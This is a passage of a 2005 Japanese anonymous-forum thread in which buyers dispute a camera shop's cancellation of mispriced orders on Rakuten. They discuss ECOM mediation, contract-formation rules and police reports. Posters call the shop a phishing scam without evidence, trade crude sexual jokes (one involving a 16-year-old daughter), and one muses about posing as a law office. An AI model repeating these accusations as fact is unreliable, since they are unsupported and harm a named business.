・これからはもう購入意思のない場合は、ecom、警察相談電話等をつかって
 個人情報の責任追及・責任者の追求・特定商取引に基づく表示を追求する
 方針を採ればいいかと思います。


>>754
ecomによるとまずあっせんは
http://www.ecom.or.jp/adr/ja/html/p_02.htm
に説明があります。自分の希望で「助言」を選択したりいろいろ
思案してみてください。

756 :番組の途中ですが名無しです:05/03/03 02:02:42 ID:EJIjFWTW
曖昧な対応で長引かせるのは向こうの戦法なのですから
こちらは各公的機関に相談するしかないのです
多くの機関に相談し事実を知ってもらうことが大切です

757 :番組の途中ですが名無しです:05/03/03 02:06:12 ID:N+9TkQDL
  /;:;:;:;:;:;:;:;:;:;:;:;::;:λ:;:;::;:;:;:;:;:;:;:;;:;ヽ +      / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  i;:;:;:;:;:、;:;:;:;;:;::;:ノ ヽ;:;:;:;::;:;:;:;:;:;:;:|    * /イェイ♪みんなよい子にしてたかな?
  {;:;:;:;:;;:;:ノ ノ       ヽ ヽ;:;:;}    <  さぁ今日も始まるよ!!
  ヽ;:;{   ....,,,,      ....,,,  |;:;:{   *   \☆☆☆ミカのお悩み相談室☆☆☆
   };:;|  (*0i)   ,.(*0i) |;:;:{        \レッツ!シィンギング!
   ヽ|   ゙"" 丿   ゙""'  | ;:{        /⌒)))_______
   };:| ;;;;;;;;   丶 ;;;;;;;;;;;;  /;:;:(        /  /  *      +
 :ソ;:;ゝ    ___、   ..!;:;:;;ノ     /  /     *
  ̄  \    \⌒ 丿  /;}  (.(⌒\./  / 
       \ ・   二    /    + \  /⌒ヽ

758 :番組の途中ですが名無しです:05/03/03 02:07:31 ID:9m1yBEKG
そっか
やはり┌| ∵|┘に何を言っても意味なしか
公的機関に相談か

時間はあるけど
ごたごたの途中で引越しになったらどうすっか

759 :番組の途中ですが名無しです:05/03/03 02:08:49 ID:aSnDC8Nb
>>753
それ、今日の電凸で試してみた。
それを持ち出しても無限ループだよ。

>>756
メールの本当の返事は恐らく一週間も二週間も先だろうね。
ECOMADRと少額訴訟とフィッシング刑事告訴しか手段は無いね。

斡旋より準備中になってた法的拘束力のある仲裁の方が良いかもしれない。

760 :番組の途中ですが名無しです:05/03/03 02:09:17 ID:dWX3rXmy
>>758
引越しした証明になるような書類さえ残しておけば、問題ないと思います。

おまいはまさか屋上から飛び降りたクモづか?結局どこに引っ越すの?

761 :番組の途中ですが名無しです:05/03/03 02:11:49 ID:/ubFbUnS
いつもこういう事件ある度に思うが、
購入者の中に弁護士とかマスコミ関係者がいたらなぁ・・・

762 :番組の途中ですが名無しです:05/03/03 02:11:49 ID:9m1yBEKG
>>760
空を飛べるクモづかです

まだ引越しは決心付きません・・・。
引っ越すなら実家かな
あんたの部屋にい早漏させちくり

763 :番組の途中ですが名無しです:05/03/03 02:12:44 ID:Gd/SyP/o
┌| ∵|┘って、顧問弁護士とかの相談相手がいないんじゃない?

764 :番組の途中ですが名無しです:05/03/03 02:12:51 ID:9m1yBEKG
>>761
マスコミは面白そうなことしか興味ないもんな

よく調べて見れば大きな問題なのにね

765 :番組の途中ですが名無しです:05/03/03 02:15:36 ID:aSnDC8Nb
>>764
あまり気乗りはしないけど赤い政党に相談する方策も有りかと。

766 :番組の途中ですが名無しです:05/03/03 02:18:15 ID:9m1yBEKG
┌| ∵|┘が悪いのに客が面倒な事になるのはなぁ

┌| ∵|┘先の事考えて見ろよ
やばいと思うなー

767 :番組の途中ですが名無しです:05/03/03 02:18:20 ID:Gd/SyP/o
まず、kissDN使うような報道はいないだろうなw
これが1DsMarkUとかD2とかだったら、マスコミも仕事柄、食いつきがいいような気がすけど。

768 :番組の途中ですが名無しです:05/03/03 02:18:44 ID:/ubFbUnS
>>762
童貞で早漏かよw

>>765
赤い正当ねぇ・・・
今の彼らにそこまで権力あるのかな?

769 :番組の途中ですが名無しです:05/03/03 02:20:51 ID:Y+YXMOvU
>>763
居なかったらマジ凄い。

>>764
合法な告発サイト乱立で世論を味方に付けられるような規模でないと、
マスコミも食い付きにくいのではないか?
ここの内容がメインの現状では、
信憑性や一般社会からの心象としてニュースにしにくいと思う。
すでに裏取ってる最中・・・ということはないかなぁ。

770 :番組の途中ですが名無しです:05/03/03 02:23:26 ID:Gd/SyP/o
>>765
あそこはやめておいた方がイイよ。
もめてる双方から金を巻き上げるから。

771 :番組の途中ですが名無しです:05/03/03 02:23:39 ID:aSnDC8Nb
個人情報に重きを置く人は赤い政党に相談するのも一つの方策かと。
あくまでも最後の手段かもしれないけど。


772 :番組の途中ですが名無しです:05/03/03 02:24:36 ID:/ubFbUnS
https://mscw.msec.ne.jp/ytv-cgi/takajin/2ch.html

ここに行って主張すればよし

773 :番組の途中ですが名無しです:05/03/03 02:26:10 ID:aSnDC8Nb
>>770
(・c_・`)ソッカー

774 :番組の途中ですが名無しです:05/03/03 02:26:37 ID:9m1yBEKG
>>768
まぁ否定はできんな
童貞だから早漏かどうかは知らんがw

ぼ、ぼ、ぼ僕どうしたらいいのかな


赤い政党ってなんだ

775 :番組の途中ですが名無しです:05/03/03 02:27:36 ID:/ubFbUnS
>>774
KYO産党

776 :番組の途中ですが名無しです:05/03/03 02:29:38 ID:9m1yBEKG
>>769
今回の┌| ∵|┘のミスと
楽天のシステムのやばさ

ネットショップの問題
┌| ∵|┘の客への対応

突っ込みどころ満載なのに
しかもかなり先端で重要な問題
たびたび起こる

いま取り上げればあとあとウマーなのに

みんなで一人1サイトつくるか
あと外国人参政はんたいのやつらがやってるみたいに
どこでも告知すっか


777 :番組の途中ですが名無しです:05/03/03 02:29:39 ID:aSnDC8Nb
>>769
個人向けの店頭販売がメインの企業だから顧問弁護士は居ないかもしれない。

メディアラボも顧問弁護士に相談云々とあったらしいけど、恐らくハッタリだと思う。


778 :番組の途中ですが名無しです:05/03/03 02:30:04 ID:Gd/SyP/o
共産党は中小企業から金を巻き上げて、さらに元締めとして、
その企業の労働者(組合)からも相当な額を吸い上げるから、いいとこなし。
自分たちがおいしいように持って行くからね。


779 :番組の途中ですが名無しです:05/03/03 02:31:21 ID:9m1yBEKG
>>777
顧問弁護士が居ないのに居るって言って
法的に相手を丸め込もうとするのは無問題なの?

780 :番組の途中ですが名無しです:05/03/03 02:35:39 ID:9m1yBEKG
俺の人生どうなる┌| ∵|┘さん


早々にバイと探してもうちょっと板橋区民でいようかな(住民票無いけどw)

781 :番組の途中ですが名無しです:05/03/03 02:36:28 ID:aSnDC8Nb
>>779
無問題では?
よく聞く話だよ。
対企業取引がメインの会社はそんな無謀な事はしないけど。

782 :番組の途中ですが名無しです:05/03/03 02:38:01 ID:/ubFbUnS
発売まであと2週間になっちまったな。
ナニワはいつまで揉めるつもりだよ。
3月中にデジカメ欲しいと思ってたけどこのままじゃ買えそうにないな。

783 :番組の途中ですが名無しです:05/03/03 02:38:03 ID:9m1yBEKG
>>781
じゃあ俺も弁護士を名乗って電話して良いんだ?


誰か俺に道しるべを・・・。

784 :番組の途中ですが名無しです:05/03/03 02:39:11 ID:aSnDC8Nb
>>783
弁護士名乗ったら逮捕だぞw

785 :番組の途中ですが名無しです:05/03/03 02:39:34 ID:9m1yBEKG
価格.comの方のやつらがどう言う話しになってるか知ってる人いる?

786 :番組の途中ですが名無しです:05/03/03 02:40:36 ID:9m1yBEKG
>>784
弁護士事務所の方から電話してますって言うよ

787 :番組の途中ですが名無しです:05/03/03 02:42:45 ID:9m1yBEKG
おれが勉強して大学行って弁護士なるまで待てるか?

788 :番組の途中ですが名無しです:05/03/03 02:46:17 ID:/ubFbUnS
よし、今日は朝まで張り付くか。
ナニワ夜中に行動するの好きみたいだし
今日もなんかしてくれないかなぁ

789 :番組の途中ですが名無しです:05/03/03 02:49:42 ID:9m1yBEKG
>>788
おれはいつも一人張り付いてた
でも電話もしてないという事実
昼間寝てる

フリーダイヤル夜はやってないの?
もう解決したと思って定時上がりでおねーちゃんとSEX中じゃ?

790 :番組の途中ですが名無しです:05/03/03 02:56:02 ID:/ubFbUnS
>>789
お前いつもいるよなw
俺はだいたい4時頃に離脱してるが。

おねーちゃんとSEXとか許さねぇ!
俺は1ヶ月ぐらいやってねーんだよ!

791 :番組の途中ですが名無しです:05/03/03 02:58:37 ID:9m1yBEKG
>>790
無理しすぎてここ何日か微妙だったが

俺なんか童貞だ・・・。
仕方ないからやらないか?

まじで┌| ∵|┘許さなねぇ
糞が

792 :番組の途中ですが名無しです:05/03/03 02:59:38 ID:9m1yBEKG
俺なんか地元に帰った方が良いのかな・・・。
うんこ

793 :番組の途中ですが名無しです:05/03/03 03:00:44 ID:/ubFbUnS
ウホッ いい┌| ∵|┘

何度か実店舗で買い物してるだけに
よけいに腹が立つ

794 :番組の途中ですが名無しです:05/03/03 03:02:18 ID:9m1yBEKG
>>793
地元のヤツか
まじで言いふらせよ!
真実をな!
地元じゃ結構な規模のみせだろ?

今回の対応みて大阪のやつ驚いてるみたいだな

795 :番組の途中ですが名無しです:05/03/03 03:03:57 ID:/ubFbUnS
もう少し東京でがんばれや。
俺は東京行ったことないけどな。

796 :番組の途中ですが名無しです:05/03/03 03:06:32 ID:/ubFbUnS
兵庫だけどな。

最近あんまり見ないけど昔はしょっちゅうCM流してたからな。
既にナニワの件は何人かに言ってるよ。
ウソはつかずに、事実だけを言ってるけど
結構みんなビックリしてるよ。

797 :番組の途中ですが名無しです:05/03/03 03:10:48 ID:9m1yBEKG
>>795
もう去年の11月位から働いてない
会社辞めたのは12月だけど
今は貯金を食い潰してるだけだからさ
現状東京に居る意味なくてさ

>>796
兵庫にもあるんだ
親戚が兵庫だったな確か

反応どうだった?
信じられない
もう買わないって事はなさそう?

798 :番組の途中ですが名無しです:05/03/03 03:12:34 ID:9m1yBEKG
水着少女が始まったから実況してくるw

799 :番組の途中ですが名無しです:05/03/03 03:14:05 ID:/ubFbUnS
もう買わないっていうより、
すでに買ってないって感じだからなぁ・・・

800 :番組の途中ですが名無しです:05/03/03 03:14:41 ID:Gd/SyP/o
2度と見れないバカエロSP

801 :番組の途中ですが名無しです:05/03/03 03:18:56 ID:9m1yBEKG
>>800


802 :番組の途中ですが名無しです:05/03/03 03:23:38 ID:Gd/SyP/o
ひょっとして、みんな実況板に逝ったのか?w

803 :番組の途中ですが名無しです:05/03/03 03:25:09 ID:aSnDC8Nb
漏れは大阪生まれの大阪育ちゆえに情けない。

漏れのカメラ初号機は、ばあちゃんにナニワで買ってもらったニコンEMだったのだが。


804 :番組の途中ですが名無しです:05/03/03 03:32:08 ID:9m1yBEKG
>>802
俺はな!

>>803
HIPHOP育ちか?
チッチキチーやな!

ニコンEM?


( ゚д゚)ピーロピーロ ピロプレプー

( ゚д゚)ピーロピーロ ピロプレプー

( ゚д゚)ガーン キーン

( ゚д゚)ガーン キーン


805 :番組の途中ですが名無しです:05/03/03 03:38:19 ID:/ubFbUnS
>>803
おばあちゃんとの思い出を汚されてしまったね。
ナニワ許せないなぁ・・・

806 :番組の途中ですが名無しです:05/03/03 03:45:40 ID:9m1yBEKG
>>805
そうだよな
今まで┌| ∵|┘で買物した人をうらぎったんだ

┌| ∵|┘まじで許せない


807 :番組の途中ですが名無しです:05/03/03 03:50:36 ID:/ubFbUnS
┌| ∵|┘は泥沼にはまっていってるね。
ヨドどビックが進出した今となっちゃ、
ナニワにあって他に無いものなんかないんだし。
老舗が信用失っちゃ何も残らないだろ。

808 :番組の途中ですが名無しです:05/03/03 03:54:33 ID:9m1yBEKG
唯一の強み
信頼をなくしたら
┌| ∵|┘が存在する意味無し

809 :番組の途中ですが名無しです:05/03/03 03:55:38 ID:9m1yBEKG
ハァーン
おれどうすんのよ
ハァーン

810 :番組の途中ですが名無しです:05/03/03 03:58:46 ID:/ubFbUnS
>>809
ィ`

811 :番組の途中ですが名無しです:05/03/03 04:01:26 ID:9m1yBEKG
>>810
・・・。
グズン


812 :番組の途中ですが名無しです:05/03/03 04:01:30 ID:Mmtt4mgv
>>803
俺も大阪生まれの大阪育ち。
親父が若いころに初めて一眼買ったのがナニワだよ。しかもEOSだし・・・。
マジで今のナニワ存在価値なし。

813 :番組の途中ですが名無しです:05/03/03 04:05:11 ID:/ubFbUnS
今のナニワは、高いわ信用無いわだからなw

814 :番組の途中ですが名無しです:05/03/03 04:06:55 ID:9m1yBEKG
>>812
古い店なんだな
まぁ親子でやってると
2代目3代目でくさっていくのがほとんどだろ

>>813
誠意もない

俺を養子にしてみないか?

815 :番組の途中ですが名無しです:05/03/03 04:08:14 ID:/ubFbUnS
>>814
イラネw

高い・信用無い・誠意無いか
三拍子そろったな

816 :番組の途中ですが名無しです:05/03/03 04:09:33 ID:9m1yBEKG
品が無い
やる気が無い
高い
信用無い
誠意無い
脳みそ無い
オッパイ無い

救いようが無い

817 :番組の途中ですが名無しです:05/03/03 04:11:10 ID:9m1yBEKG
今からでも買ってやるからさ┌| ∵|┘

売っても売らなくても┌| ∵|┘は終わりだ
勝手につぶれろ

最後にカメラ売ったら思い出に残るのにな

818 :番組の途中ですが名無しです:05/03/03 04:12:06 ID:F/QI0lDe
結局誤植だったの?
大量注文した人どうなったの?
エロイ人まとぬてください↓

819 :番組の途中ですが名無しです:05/03/03 04:13:05 ID:/ubFbUnS
カメラ屋を名乗るからにはカメラを売って終わって欲しいね。
最近じゃカメラだけじゃ生き残っていけないと思ったのか、
ブランドものの販売に手をだし始めたからな。
なさけなひ・・・

820 :番組の途中ですが名無しです:05/03/03 04:14:25 ID:/ubFbUnS
>>818
http://naniwa.s115.xrea.com/

821 :番組の途中ですが名無しです:05/03/03 04:19:13 ID:9m1yBEKG
>>819
プライドも無かったんだなw
ブランドは馬鹿息子がブランド好きなんだろw

822 :番組の途中ですが名無しです:05/03/03 04:20:19 ID:9m1yBEKG
でさぁ
俺はどうすんだよ
何度も言わせんなよ!
ウルル

823 :番組の途中ですが名無しです:05/03/03 04:22:42 ID:/ubFbUnS
カリスマニートを目指せ!

824 :番組の途中ですが名無しです:05/03/03 04:24:43 ID:F/QI0lDe
>>820
ありがとうございます。
これから見てみます。

825 :番組の途中ですが名無しです:05/03/03 04:25:15 ID:9m1yBEKG
>>823
ニートになるためには親のすねをかじらんと駄目らしい
カリスマはもう生まれた時に達成したわけだが、ニートは・・・。
毎日ごろごろしてるだけだもんな

826 :番組の途中ですが名無しです:05/03/03 04:27:15 ID:rji7q9Vp
いい夢見させてもらったよ。
俺の中ではこの件は終了。

827 :番組の途中ですが名無しです:05/03/03 04:28:08 ID:9m1yBEKG
>>826
どこが良い夢だよ
もうキャンセルにOKしたの?

828 :番組の途中ですが名無しです:05/03/03 04:30:17 ID:/ubFbUnS
>>827
太陽の光浴びてるか?

829 :番組の途中ですが名無しです:05/03/03 04:32:46 ID:9m1yBEKG
>>828
いや
ほとんど
外出はチョコチョコするが、近場だし夜だったりもするし
カーテンも閉めっぱなし
脚光は浴びてるけど

830 :番組の途中ですが名無しです:05/03/03 04:35:45 ID:F/QI0lDe
いまさらだがオモスレーw

831 :番組の途中ですが名無しです:05/03/03 04:37:03 ID:9m1yBEKG
>>830
何が何が?

832 :番組の途中ですが名無しです:05/03/03 04:48:23 ID:/ubFbUnS
>>831
是非ともカメラを手に入れて
外の世界に旅立ってくれ!

833 :番組の途中ですが名無しです:05/03/03 04:50:05 ID:9m1yBEKG
>>832
引きこもっては居ないけどw
┌| ∵|┘がカメラ売ってくれないと外に出れないよ・・・。

室内で自分のチンコ撮るのが良いとこかなw

834 :番組の途中ですが名無しです:05/03/03 04:52:12 ID:F/QI0lDe
>>831
俺、市況板に住んでるんだが以前「みんな買えー」みたいなカキコがあって気になってたのよ。
顛末を今知ったのだが、ここまで盛り上がってるとは知らなんだ。w
どんくらい注文行ったのかなとか考えたり
「フィッシングだー」なんて言ってる奴もいるし
ちょいとおもしろい。スレも伸びてるし、工作員もいるし。w

835 :番組の途中ですが名無しです:05/03/03 04:52:21 ID:55cg+FDE
俺見たく今回の件で初めてナニワを知った人は多いはず。
注文者の大半はそうじゃないのかな?
一般の消費者は今回のこと知らないだろうし。
今のままだとナニワは大してダメージを食らわない希ガス。
丸紅のとき見たくニュースにでもなれば別だろうけど。

836 :番組の途中ですが名無しです:05/03/03 04:55:33 ID:9m1yBEKG
>>831
市況?

俺どこでしったかな
ちょうど┌| ∵|┘の前にメディアラボがやらかして、そのスレに貼られたんだっけな
おまいさんは注文しなかったんだ?

ことごとく通販サイトは閉鎖されて
叩かれまくってるよ

まぁ実際フィッシングまがい
工作員は知らんがw

>>835
致命的なダメージをおって欲しい

837 :番組の途中ですが名無しです:05/03/03 04:56:33 ID:ZTECbvv2
25日の19時までにナニワからキャンセルの連絡がなかったのだから契約は成立したものと解釈させて頂きます。

838 :番組の途中ですが名無しです:05/03/03 05:00:09 ID:9m1yBEKG
>>837
そこが一番納得行かない部分だ
それをやったんだから売るしかない
わざと時間を送らしたとはっきりいったしな

最初にメール来たのいつだっけ?

839 :番組の途中ですが名無しです:05/03/03 05:03:40 ID:/ubFbUnS
>>838
最初のキャンセルメールは26日のAM7時だ。

チンコupキボン

840 :番組の途中ですが名無しです:05/03/03 05:06:15 ID:9m1yBEKG
>>839
そうだったか
土曜日に返事はできない作戦か

出社してルのばればれなのに
返事はしないと
まじで┌| ∵|┘ふざけすぎ

夜中にメール来たのはいつだったか
アレから返信して無いけどまずいよね?

チンコなんか付いてネぇーよ!

841 :番組の途中ですが名無しです:05/03/03 05:11:58 ID:9m1yBEKG
もうだめP

842 :番組の途中ですが名無しです:05/03/03 05:21:17 ID:/ubFbUnS
マンうpキボン

俺のためにイキロ!

843 :番組の途中ですが名無しです:05/03/03 05:23:42 ID:9m1yBEKG
男だけどな
おまい倍か?

ラボにも┌【@曾@】┘にもメールおくらんとな

俺の人生の問題なんかどうでも良いか・・・。

844 :番組の途中ですが名無しです:05/03/03 05:25:47 ID:9m1yBEKG
今日はひな祭りか
娘元気かな・・・。

845 :番組の途中ですが名無しです:05/03/03 05:26:08 ID:/ubFbUnS
おまいラボも注文してたんか。
俺はラボは遠慮したが、ナニワはなんとしても落としてみせる!

ってか、シカト決められたら対応のしようないじゃん・・・orz

846 :番組の途中ですが名無しです:05/03/03 05:29:10 ID:9m1yBEKG
>>845
ラボもアークも注文したぜ
ネットショップへの警告と暇つぶしだ

おれも┌【@曾@】┘は何が何でも売ってもらいたいが
どうしたら良いものやら
いろいろと問題も抱えてるし

847 :番組の途中ですが名無しです:05/03/03 05:30:48 ID:/ubFbUnS
娘さんを僕にください!

848 :番組の途中ですが名無しです:05/03/03 05:31:57 ID:9m1yBEKG
>>847
良いよ
もらってやってくれ
47歳だが

849 :番組の途中ですが名無しです:05/03/03 05:37:55 ID:/ubFbUnS
イラネ・・・
そして眠い・・・

あと4時間半でナニワに電話できるな

850 :番組の途中ですが名無しです:05/03/03 05:40:28 ID:9m1yBEKG
おれ実は電話してない
いつも昼間は寝てるかネムネムだ

モーメールなんて送ろう
それどころじゃねーよ
でも俺の今後よりカメラの方が重要だな

16歳の方の娘が良いか?

851 :番組の途中ですが名無しです:05/03/03 05:46:18 ID:/ubFbUnS
16歳とは、また若いなぁ・・・

やばい意識が薄らいできた・・・

852 :番組の途中ですが名無しです:05/03/03 05:52:16 ID:DPGJI+sY
>837
そこが一番肝心なとこだよ。間違いで販売をできないとメールで時間内に
送っていれば、問題にはならなかった。初めての注文でもお客様はお客様、
確認メールもしくは受注不可の連絡を入れるのは商売をしている人の基本だ。
注文者に落ち度がなく、販売者は拒否をしなかった以上販売をするしかない。
メールでそのことを書いたのに、返事がまだない。

853 :番組の途中ですが名無しです:05/03/03 05:56:13 ID:9m1yBEKG
>>851
寝るな、寝たら死ぬぞ
裸で外に出れば目が覚める

>>852
まぁすぐに連絡あっても納得いくとは思えないが
こんなにまでもめることもないだろ

店側が拒否をしなかったんだから売るのが当然だよな
┌【@曾@】┘に選ぶ権利はない

854 :番組の途中ですが名無しです:05/03/03 06:02:10 ID:/ubFbUnS
>>853
ふう・・・

おやうく死ぬところだったよ。
がんばらないとな。

855 :番組の途中ですが名無しです:05/03/03 06:03:19 ID:9m1yBEKG
>>854
>おやうく
かなり来てるようだが?w

856 :番組の途中ですが名無しです:05/03/03 06:14:22 ID:/ubFbUnS
>>855
やべぇw

来てるな俺。
そろそろ寝るわ・・・
たぶん数時間だけだろうけど・・・

857 :番組の途中ですが名無しです:05/03/03 06:18:26 ID:9m1yBEKG
>>856
ねるのか
おれも寝ようと思えば寝れそうだ
一緒にねるか

で俺はどうすれば良いんだ?

858 :契約時期に関する重要と思われるところのまとめ:05/03/03 06:53:43 ID:rzx+x2ig
とにかくまずecomのココをみるべし
http://www.ecom.or.jp/adr/ja/topics/tp_03.htm

通販価格誤表示問題に関するネットショッピング紛争相談室の考え方

1.自動返信で契約成立と言えるか
自動返信メールの内容が「承諾の通知」と考えられる場合には、オートリプライした場合でも契約成立となります。
また自動返信メールが無くても、「電子商取引等に関する準則」によりますと、
注文後のウェブ画面が「承諾の通知」と考えられる場合には、
その画面が注文者のモニター上に表示された時点にて契約成立となります。

例えばショッピングモールに出店している場合に、ショッピングモールのシステム上、このような設定になっていたとしても、
それ自体は事業者の自主的な選択によるものです。
しかし、下記のような条件がそろえば、必ずしも契約成立とはなりません。


859 :契約時期に関する重要と思われるところのまとめ:05/03/03 06:55:47 ID:rzx+x2ig
(契約成立しているとは言えない場合)
※ あらかじめ注文を受ける前にウェブ上にて
「自動返信メールを受信しただけでは、まだ契約は成立しません」といった明記があり、
尚且つ、自動返信メールに 「このメールを受信しただけでは、まだ契約は成立していません」といった内容が明記されている。
※注文後のウェブ画面に、「別途ご注文に対する承諾のメールを送信します」 といった内容の記載がされている。
尚且つ、注文に対する請求書的な内容の記載がされていない。

反対に、下記のような場合は、原則として契約成立していると考えられます。

(契約成立していると考えられる場合)
※「在庫が確認でき次第、注文をお受けできるか否か返答いたします」 などの留保をつけずに、
「ご注文ありがとうございました」といった 内容の受注確認メールを自動返信で送信した場合、
またはウェブ画面に同様の内容を表示した場合。

860 :契約時期に関する重要と思われるところのまとめ:05/03/03 07:04:17 ID:rzx+x2ig
関連するレス

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>>719


861 :契約時期に関する重要と思われるところのまとめ:05/03/03 07:10:57 ID:rzx+x2ig
ecomの見解(というか通常人にとっての見解だと思うけど)は↓だから、
> ※あらかじめ注文を受ける前にウェブ上にて
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>「自動返信メールを受信しただけでは、まだ契約は成立しません」といった明記があり、
楽天共通の注文完了画面に契約成立時期に関する一文が書いてあっても、
今回のナニワの件はHP上に契約成立時期に関する記載がなされていない以上、
PCで注文した場合にも契約は成立してると思われる。

「ナニワのウェブ上の」契約締結時期に関する記載」の存在の有無は以下を参照
http://www.rakuten.co.jp/naniwa/info.html
http://www.rakuten.ne.jp/gold/naniwa/nagare.html

862 :番組の途中ですが名無しです:05/03/03 07:12:56 ID:rzx+x2ig
仕事いかなきゃ。時間がないからだれかもっとうまくまとめて。w


863 :番組の途中ですが名無しです:05/03/03 07:13:45 ID:9m1yBEKG
>>862
おつかれ
ガンガレ

864 :番組の途中ですが名無しです:05/03/03 07:16:32 ID:9m1yBEKG
klgjlg所dファgじゃpjlsdfl;Akl;fkぁl;gjl;あsdkgl;あsd;gかsdl;gか

865 :番組の途中ですが名無しです:05/03/03 07:41:42 ID:9m1yBEKG
まずいぞ今日はもう3日じゃないか
ハァーン・・・。

866 :◆3Z7vqi3PBI :05/03/03 08:28:02 ID:vVYgqwcD
まだ郵便が届かないんだが一連の騒動をフィッシングの疑いありとして┌| ∵|┘も加えていい?
対応の悪さは┌| ∵|┘の方が上かもしれない。
嘘で誤魔化すメディアラボもかなりアレだけど。

867 :番組の途中ですが名無しです:05/03/03 08:39:31 ID:5U/YHOrG
>>866
ご苦労様です。
同じ楽天のショップでほぼ同時に起きた騒動なので
サイトを訪れた人に両店を比較していただきより客観的かつ冷静な
判断に基づいた効果のある行動を取っていただく為にも
両店を並べて記載された方がよろしいと思います。

それからSSその他使っていただきアリガトねー

868 :番組の途中ですが名無しです:05/03/03 09:03:21 ID:vpzcprqW
ハニワごねて煩い奴にだけ売ってるみたいよ
(特別対応)だからごねぼう減ってきてるでしょ
こんな事許されるの!!(・A ・) イクナイ!

869 :◆3Z7vqi3PBI :05/03/03 09:06:29 ID:KHVHXO3z
>>868
証拠無しにそういう事をいうのはまずいよ。

870 :番組の途中ですが名無しです:05/03/03 09:21:26 ID:N+9TkQDL
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、


871 :番組の途中ですが名無しです:05/03/03 09:26:38 ID:0ip7YyYq
俺のクレカ含んだ個人情報3万5千円(差額分)で買ってくれるなら諦めてもいいよ
もうアマゾンで買うから

警察に相談のメール出すときはCCでナニワも入れておいた方がいいでしょうか?

872 :番組の途中ですが名無しです:05/03/03 09:52:22 ID:0ip7YyYq
警視庁はメールでの相談って出来ないのか・・・

一昨日の「きょうの出来事」を昨日見たけれど、詐欺って故意でないなら成立しないの?
故意でないと言い張るのならあの意味のわからない金額くらいは証明してもらわないと納得できない

ニュースの森 続発ネットオークションに代金詐欺団?業者追跡▽堀江社長
(4141319)


873 :番組の途中ですが名無しです:05/03/03 10:04:12 ID:5vYt5m/w
しつけーやつらだな
ゴネ厨マジ氏ねよw

874 :番組の途中ですが名無しです:05/03/03 10:07:07 ID:5vYt5m/w
で?いつになったら訴えるんですか?
あれれれれ
口だけですか?プププ

875 :番組の途中ですが名無しです:05/03/03 10:08:19 ID:N+9TkQDL
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、

876 :番組の途中ですが名無しです:05/03/03 10:13:49 ID:5vYt5m/w
フィッシング詐欺とかいってますけど
どうやって証明立証するんですか?
またお得意の脳内ですか?
せいぜい警察で笑われないようにしてね♥

877 :番組の途中ですが名無しです:05/03/03 10:16:40 ID:0q4Mt1Fl
10時過ぎまして、社員、お疲れ様です。
むなしいお仕事、今日も一日、ご苦労様です。

878 :◆3Z7vqi3PBI :05/03/03 10:25:14 ID:4GCUKLIH
>>867
職場よりPCにて。
SSの方でしたか。
こちらこそ情報提供ありがとうございます。


879 :番組の途中ですが名無しです:05/03/03 10:26:41 ID:fu7BgKrE
>>878
おめーはこっちのスレに来るなよ

880 :番組の途中ですが名無しです:05/03/03 10:29:30 ID:4GCUKLIH
k察には対処がはっきりして売らない、個人情報も消去しないとなればフィッシングとして通報したほうがいい。
しっかり取り調べは行われるはず。
同時期に同様の内容で多数の通報があれば間違いなく調査は入る。

そうなってから泣きをみるんだねえ、ここで「訴えるものなら。。」なんていっている人も。
勤め先がアレだったばっかりに。
ご愁傷様。

881 :番組の途中ですが名無しです:05/03/03 10:30:50 ID:N+9TkQDL
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
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         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
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        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、

882 :番組の途中ですが名無しです:05/03/03 10:33:21 ID:4GCUKLIH
>>879
ナニワでも購入していますが何か?

883 :番組の途中ですが名無しです:05/03/03 10:34:09 ID:0ip7YyYq
警察は電話受付しかないみたいで、仕事中だからさすがに・・・
金額の根拠も不明ってのもつけておいたほうが良さそうね、打ち間違えとは到底思えない

詐欺である証明はできないが、詐欺でない証明もできないだろが
社員ウザ

884 :番組の途中ですが名無しです:05/03/03 10:34:21 ID:5vYt5m/w
さっさと警察いって来いよ
お外に出るのが怖いんでちゅか?( ´,_ゝ`)プッ

885 :番組の途中ですが名無しです:05/03/03 10:37:47 ID:kQ9ZgDGA
おまえらマジ乞食かよ
物には相当の対価を払うんだよ
無駄なことやってないで働けよカスども

